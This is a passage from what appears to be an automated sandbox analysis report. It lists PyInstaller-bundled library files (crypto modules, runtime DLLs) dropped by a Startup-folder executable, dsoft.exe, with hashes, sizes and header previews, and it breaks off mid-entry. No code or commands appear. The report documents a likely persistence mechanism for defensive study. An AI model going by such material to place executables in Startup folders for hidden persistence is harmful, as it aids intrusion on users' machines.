                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...}y.e.........." ...#. ... ......P.....................................................`.........................................`9......T:..d....`.......P..p............p..,....3...............................2..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..p....P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_poly1305.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15360
                                                                                                                                                                                                                                        Entropy (8bit):5.130670522779765
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:nZNGfqDgvUh43G6coX2SSwmPL4V7wTdDl41Y2cqgWjvE:CFMhuGGF2L4STdDcYWgWjvE
                                                                                                                                                                                                                                        MD5:E08355F3952A748BADCA2DC2E82AA926
                                                                                                                                                                                                                                        SHA1:F24828A3EEFB15A2550D872B5E485E2254C11B48
                                                                                                                                                                                                                                        SHA-256:47C664CB7F738B4791C7D4C21A463E09E9C1AAAE2348E63FB2D13FC3E6E573EB
                                                                                                                                                                                                                                        SHA-512:E7F48A140AFEF5D6F64A4A27D95E25A8D78963BB1F9175B0232D4198D811F6178648280635499C562F398613E0B46D237F7DB74A39B52003D6C8768B80EC6FB6
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d....y.e.........." ...#..... ......P.....................................................`......................................... 9.......9..d....`.......P..|............p..,....3...............................1..@............0...............................text...X........................... ..`.rdata..(....0......."..............@..@.data........@.......2..............@....pdata..|....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Math\_modexp.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):34816
                                                                                                                                                                                                                                        Entropy (8bit):5.935249615462395
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:gb+5F2hqrxS7yZAEfYcwcSPxpMgLp/GQNSpcVaGZ:gb+5Qwc7OAEfYcwJxpMgFJh
                                                                                                                                                                                                                                        MD5:DB56C985DBC562A60325D5D68D2E5C5B
                                                                                                                                                                                                                                        SHA1:854684CF126A10DE3B1C94FA6BCC018277275452
                                                                                                                                                                                                                                        SHA-256:089585F5322ADF572B938D34892C2B4C9F29B62F21A5CF90F481F1B6752BC59F
                                                                                                                                                                                                                                        SHA-512:274D9E4A200CAF6F60AC43F33AADF29C6853CC1A7E04DF7C8CA3E24A6243351E53F1E5D0207F23B34319DFC8EEE0D48B2821457B8F11B6D6A0DBA1AE820ACE43
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......|..|8k./8k./8k./1.Y/>k./....:k./s...;k./8k./.k./....4k./....0k./....;k./....:k./....9k./..5/9k./....9k./Rich8k./........................PE..d....y.e.........." ...#.\..........`.....................................................`..........................................~..d...$...d...............................,....s...............................q..@............p..(............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data................t..............@....pdata...............~..............@..@.rsrc...............................@..@.reloc..,...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Protocol\_scrypt.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):4.799861986912974
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:YTIekCffqPSTMeAk4OeR64ADpki6RcqgO5vE:YTNZMcPeR64ADh63gO5vE
                                                                                                                                                                                                                                        MD5:6229A84562A9B1FBB0C3CF891813AADD
                                                                                                                                                                                                                                        SHA1:4FAFB8AF76A7F858418AA18B812FEACADFA87B45
                                                                                                                                                                                                                                        SHA-256:149027958A821CBC2F0EC8A0384D56908761CC544914CED491989B2AD9D5A4DC
                                                                                                                                                                                                                                        SHA-512:599C33F81B77D094E97944BB0A93DA68D2CCB31E6871CE5679179FB6B9B2CE36A9F838617AC7308F131F8424559C5D1A44631E75D0847F3CC63AB7BB57FE1871
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................?.....q......................q.......q.......q.........................S.............Rich............PE..d....y.e.........." ...#............P.....................................................`..........................................8..d...$9..d....`.......P..4............p..,....3...............................1..@............0...............................text...x........................... ..`.rdata.......0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ec_ws.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):754176
                                                                                                                                                                                                                                        Entropy (8bit):7.628627007698131
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:31ETHoxJ8gf1266y8IXhJvCKAmqVLzcrZgYIMGv1iLD9yQvG6h+b:lETHoxJFf1p34hcrn5Go9yQO6g
                                                                                                                                                                                                                                        MD5:BBB83671232E0BE361E812369A463E03
                                                                                                                                                                                                                                        SHA1:A37DAEC475AB230E14897077D17E20B7A5112B8D
                                                                                                                                                                                                                                        SHA-256:873A3E3E945421917BA780D95C78ECCB92D4E143227987D6812BC9F9E4653BE0
                                                                                                                                                                                                                                        SHA-512:BF6718DE5235F6A7C348A1E2F325FEE59C74356D4722DFA99DA36A2BE1E6386C544EEC09190E2EBBA58B7C6B4157D00409C59F29AE2CC7BC13CBC301B8592586
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.....L...L...L.V+L...LKR.M...L.V.M...L...L...LKR.M...LKR.M...LKR.M...L-S.M...L-S.M...L-SGL...L-S.M...LRich...L................PE..d....y.e.........." ...#.n..........`.....................................................`..........................................p..d...dq..d...............$...............4...@Z...............................Y..@...............(............................text....m.......n.................. ..`.rdata...............r..............@..@.data...x............h..............@....pdata..$............p..............@..@.rsrc................~..............@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed25519.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):27648
                                                                                                                                                                                                                                        Entropy (8bit):5.799740467345125
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:PvRwir5rOF2MZz1n0/kyTMIl9bhgIW0mvBaeoSzra2pftjGQDdsC0MgkbQ0e1r:PJLtg2MTeM+9dmvBaeoCtaQDekf
                                                                                                                                                                                                                                        MD5:7F2C691DEB4FF86F2F3B19F26C55115C
                                                                                                                                                                                                                                        SHA1:63A9D6FA3B149825EA691F5E9FDF81EEC98224AA
                                                                                                                                                                                                                                        SHA-256:BF9224037CAE862FE220094B6D690BC1992C19A79F7267172C90CBED0198582E
                                                                                                                                                                                                                                        SHA-512:3A51F43BF628E44736859781F7CFF0E0A6081CE7E5BDE2F82B3CDB52D75D0E3DFAE92FC2D5F7D003D0B313F6835DBA2E393A0A8436F9409D92E20B65D3AED7E2
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y...............i...................i......i......i......................m...........Rich...........PE..d....y.e.........." ...#.F...(......P.....................................................`..........................................j..0....k..d...............................,...pc..............................0b..@............`...............................text....D.......F.................. ..`.rdata.."....`.......J..............@..@.data................\..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..,............j..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed448.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):67072
                                                                                                                                                                                                                                        Entropy (8bit):6.060804942512998
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:HqvnErJyGoqQXZKfp23mXKUULBeCFTUCqHF+PELb7MSAEfnctefBd5:HqvnErJyGoqQXZKfp2ayLsCFTUCqHEP4
                                                                                                                                                                                                                                        MD5:AF46798028AB3ED0E56889DFB593999B
                                                                                                                                                                                                                                        SHA1:D4D7B39A473E69774771B2292FDBF43097CE6015
                                                                                                                                                                                                                                        SHA-256:FD4F1F6306950276A362D2B3D46EDBB38FEABA017EDCA3CD3A2304340EC8DD6C
                                                                                                                                                                                                                                        SHA-512:58A80AFEEAC16D7C35F8063D03A1F71CA6D74F200742CAE4ADB3094CF4B3F2CD1A6B3F30A664BD75AB0AF85802D935B90DD9A1C29BFEA1B837C8C800261C6265
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......|..|8k./8k./8k./1.Y/>k./....:k./s...;k./8k./.k./....4k./....0k./....;k./....:k./....9k./..5/9k./....9k./Rich8k./........................PE..d....y.e.........." ...#.....8......`........................................@............`.............................................h.......d.... .......................0..,.......................................@............................................text............................... ..`.rdata..j...........................@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..,....0......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_x25519.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10752
                                                                                                                                                                                                                                        Entropy (8bit):4.488129745837651
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:kfuF7pVVdJvbrqTuy/Th/Y0IluLfcC75JiC4cs89EfqADQhDsAbcX6gn/7EC:TF/VddiTHThQTctdErDQDsicqgn/7
                                                                                                                                                                                                                                        MD5:F4B7324A8F7908C3655BE4C75EAC36E7
                                                                                                                                                                                                                                        SHA1:11A30562A85A444F580213417483BE8D4D9264AD
                                                                                                                                                                                                                                        SHA-256:5397E3F5762D15DCD84271F49FC52983ED8F2717B258C7EF370B24977A5D374B
                                                                                                                                                                                                                                        SHA-512:66CA15A9BAD39DD4BE7921A28112A034FFE9CD11F91093318845C269E263804AB22A4AF262182D1C6DAC8741D517362C1D595D9F79C2F729216738C3DD79D7C2
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4=.bUS.bUS.bUS.k-..`US..)R.`US.)-R.aUS.bUR.FUS..)V.iUS..)W.jUS..)P.aUS.([.cUS.(S.cUS.(..cUS.(Q.cUS.RichbUS.................PE..d....y.e.........." ...#............P........................................p............`..........................................'..P...0(..P....P.......@...............`..,...P#..............................."..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_cpuid_c.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10240
                                                                                                                                                                                                                                        Entropy (8bit):4.733990521299615
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:PzVVddiTHThQTctEEaEDKDnMRWJcqgbW6:PzTMdsc+EaEDKDnCWvgbW
                                                                                                                                                                                                                                        MD5:3D566506052018F0556ADF9D499D4336
                                                                                                                                                                                                                                        SHA1:C3112FF145FACF47AF56B6C8DCA67DAE36E614A2
                                                                                                                                                                                                                                        SHA-256:B5899A53BC9D3112B3423C362A7F6278736418A297BF86D32FF3BE6A58D2DEEC
                                                                                                                                                                                                                                        SHA-512:0AC6A1FC0379F5C3C80D5C88C34957DFDB656E4BF1F10A9FA715AAD33873994835D1DE131FC55CD8B0DEBDA2997993E978700890308341873B8684C4CD59A411
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4%.bUK.bUK.bUK.k-..`UK..)J.`UK.)-J.aUK.bUJ.AUK..)N.iUK..)O.jUK..)H.aUK.(C.cUK.(K.cUK.(..cUK.(I.cUK.RichbUK.........PE..d....y.e.........." ...#............P........................................p............`..........................................'..|....'..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_strxor.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10240
                                                                                                                                                                                                                                        Entropy (8bit):4.689063511060661
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:P/ryZVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EMz3DIWMot4BcX6gbW6O:PzQVddiTHThQTctEEO3DSoKcqgbW6
                                                                                                                                                                                                                                        MD5:FAE081B2C91072288C1C8BF66AD1ABA5
                                                                                                                                                                                                                                        SHA1:CD23DDB83057D5B056CA2B3AB49C8A51538247DE
                                                                                                                                                                                                                                        SHA-256:AF76A5B10678F477069ADD6E0428E48461FB634D9F35FB518F9F6A10415E12D6
                                                                                                                                                                                                                                        SHA-512:0ADB0B1088CB6C8F089CB9BF7AEC9EEEB1717CF6CF44B61FB0B053761FA70201AB3F7A6461AAAE1BC438D689E4F8B33375D31B78F1972AA5A4BF86AFAD66D3A4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4%.bUK.bUK.bUK.k-..`UK..)J.`UK.)-J.aUK.bUJ.AUK..)N.iUK..)O.jUK..)H.aUK.(C.cUK.(K.cUK.(..cUK.(I.cUK.RichbUK.........PE..d....y.e.........." ...#............P........................................p............`.........................................`'..t....'..P....P.......@...............`..,...."...............................!..@............ ...............................text...x........................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\mfc140u.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):5653424
                                                                                                                                                                                                                                        Entropy (8bit):6.729277267882055
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:EuEsNcEc8/CK4b11P5ViH8gw0+NVQD5stWIlE7lva8iposS9j5fzSQzs7ID+AVuS:EnL8+5fiEnQFLOAkGkzdnEVomFHKnPS
                                                                                                                                                                                                                                        MD5:03A161718F1D5E41897236D48C91AE3C
                                                                                                                                                                                                                                        SHA1:32B10EB46BAFB9F81A402CB7EFF4767418956BD4
                                                                                                                                                                                                                                        SHA-256:E06C4BD078F4690AA8874A3DEB38E802B2A16CCB602A7EDC2E077E98C05B5807
                                                                                                                                                                                                                                        SHA-512:7ABCC90E845B43D264EE18C9565C7D0CBB383BFD72B9CEBB198BA60C4A46F56DA5480DA51C90FF82957AD4C84A4799FA3EB0CEDFFAA6195F1315B3FF3DA1BE47
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.cu...&...&...&...'...&...'...&...'...&..&...&G..'...&G..'...&...'...&...&..&G..'...&G..'...&G..'...&G..'...&G..&...&G..'...&Rich...&................PE..d....~.a.........." .....(-..X)......X,.......................................V......YV...`A..........................................:.....h.;.......?......`=..8....V..'...PU.0p..p.5.T...........................`...8............@-.P...0.:......................text....&-......(-................. ..`.rdata.......@-......,-.............@..@.data....6... <.......<.............@....pdata...8...`=..:....<.............@..@.didat..H.....?.......?.............@....rsrc.........?.......?.............@..@.reloc..0p...PU..r....T.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\win32ui.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1142272
                                                                                                                                                                                                                                        Entropy (8bit):6.040548449175261
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:cLokSyhffpJSf6VJtHUR2L2mVSvya6Lx15IQnpKTlYcf9WBo:cLok/pXJdUzOSMx15dcTlYiK
                                                                                                                                                                                                                                        MD5:B505E88EB8995C2EC46129FB4B389E6C
                                                                                                                                                                                                                                        SHA1:CBFA8650730CBF6C07F5ED37B0744D983ABFE50A
                                                                                                                                                                                                                                        SHA-256:BE7918B4F7E7DE53674894A4B8CFADCACB4726CEA39B7DB477A6C70231C41790
                                                                                                                                                                                                                                        SHA-512:6A51B746D0FBC03F57FF28BE08F7E894AD2E9F2A2F3B61D88EAE22E7491CF35AE299CDB3261E85E4867F41D8FDA012AF5BD1EB8E1498F1A81ADC4354ADACDAAB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aM.F%,r.%,r.%,r.,T../,r..Ys.',r..Es.',r.1Gs.+,r.wYv.-,r.wYq.!,r.wYw.3,r.%,s.-*r.wYs.",r..Y{..,r..Yr.$,r..Y..$,r..Yp.$,r.Rich%,r.........................PE..d......d.........." .........p......t.....................................................`..............................................T...q..h...............................`\..`...T.......................(.......8................0...........................text............................... ..`.rdata..............................@..@.data...............................@....pdata...............`..............@..@.rsrc...............................@..@.reloc..`\.......^..................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\VCRUNTIME140.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):109392
                                                                                                                                                                                                                                        Entropy (8bit):6.643764685776923
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
                                                                                                                                                                                                                                        MD5:870FEA4E961E2FBD00110D3783E529BE
                                                                                                                                                                                                                                        SHA1:A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
                                                                                                                                                                                                                                        SHA-256:76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
                                                                                                                                                                                                                                        SHA-512:0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\VCRUNTIME140_1.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):49488
                                                                                                                                                                                                                                        Entropy (8bit):6.652691609629867
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:8EgYXUcHJcUJSDW/tfxL1qBS3hO6nb/TEHEXi9zufUKQXi9zug:8vGS8fZ1eUpreA+zuTc+zug
                                                                                                                                                                                                                                        MD5:BBA9680BC310D8D25E97B12463196C92
                                                                                                                                                                                                                                        SHA1:9A480C0CF9D377A4CAEDD4EA60E90FA79001F03A
                                                                                                                                                                                                                                        SHA-256:E0B66601CC28ECB171C3D4B7AC690C667F47DA6B6183BFF80604C84C00D265AB
                                                                                                                                                                                                                                        SHA-512:1575C786AC3324B17057255488DA5F0BC13AD943AC9383656BAF98DB64D4EC6E453230DE4CD26B535CE7E8B7D41A9F2D3F569A0EFF5A84AEB1C2F9D6E3429739
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............L...L...L...M...L...M...L.FL...L...L...L...M...L...M...L...M...L...M...L..*L...L...M...LRich...L........................PE..d...%CU..........." ...".<...8.......A...............................................@....`A........................................0m.......m..x....................r..PO......D....c..p...........................pb..@............P..h............................text...0:.......<.................. ..`.rdata..."...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_asyncio.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):64384
                                                                                                                                                                                                                                        Entropy (8bit):6.115753860836585
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:aW3/DZG0409EevNR4aimAWAs+FI75nED7SynRPx:aW39GlANR4aim6hFI75nUJVx
                                                                                                                                                                                                                                        MD5:4543813A21958D0764975032B09DED7B
                                                                                                                                                                                                                                        SHA1:C571DEA89AB89B6AAB6DA9B88AFE78ACE90DD882
                                                                                                                                                                                                                                        SHA-256:45C229C3988F30580C79B38FC0C19C81E6F7D5778E64CEF6CE04DD188A9CCAB5
                                                                                                                                                                                                                                        SHA-512:3B007AB252CCCDA210B473CA6E2D4B7FE92C211FB81ADE41A5A69C67ADDE703A9B0BC97990F31DCBE049794C62BA2B70DADF699E83764893A979E95FD6E89D8F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........TF.q.F.q.F.q.O...D.q...p.D.q...t.J.q...u.N.q...r.E.q...p.E.q...p.D.q.F.p...q...|.G.q...q.G.q....G.q...s.G.q.RichF.q.................PE..d...$..c.........." ...".T..........`................................................+....`............................................P...0...d........................)..........pw..T...........................0v..@............p...............................text...uR.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_bz2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):83320
                                                                                                                                                                                                                                        Entropy (8bit):6.534931868118148
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:V/Uez7qlsjcaNXZIzNYM4B0NDX8rjE2tI7tVj7SyxPx9:eezGiXMjdMrjPtI7tVjLx9
                                                                                                                                                                                                                                        MD5:BBE89CF70B64F38C67B7BF23C0EA8A48
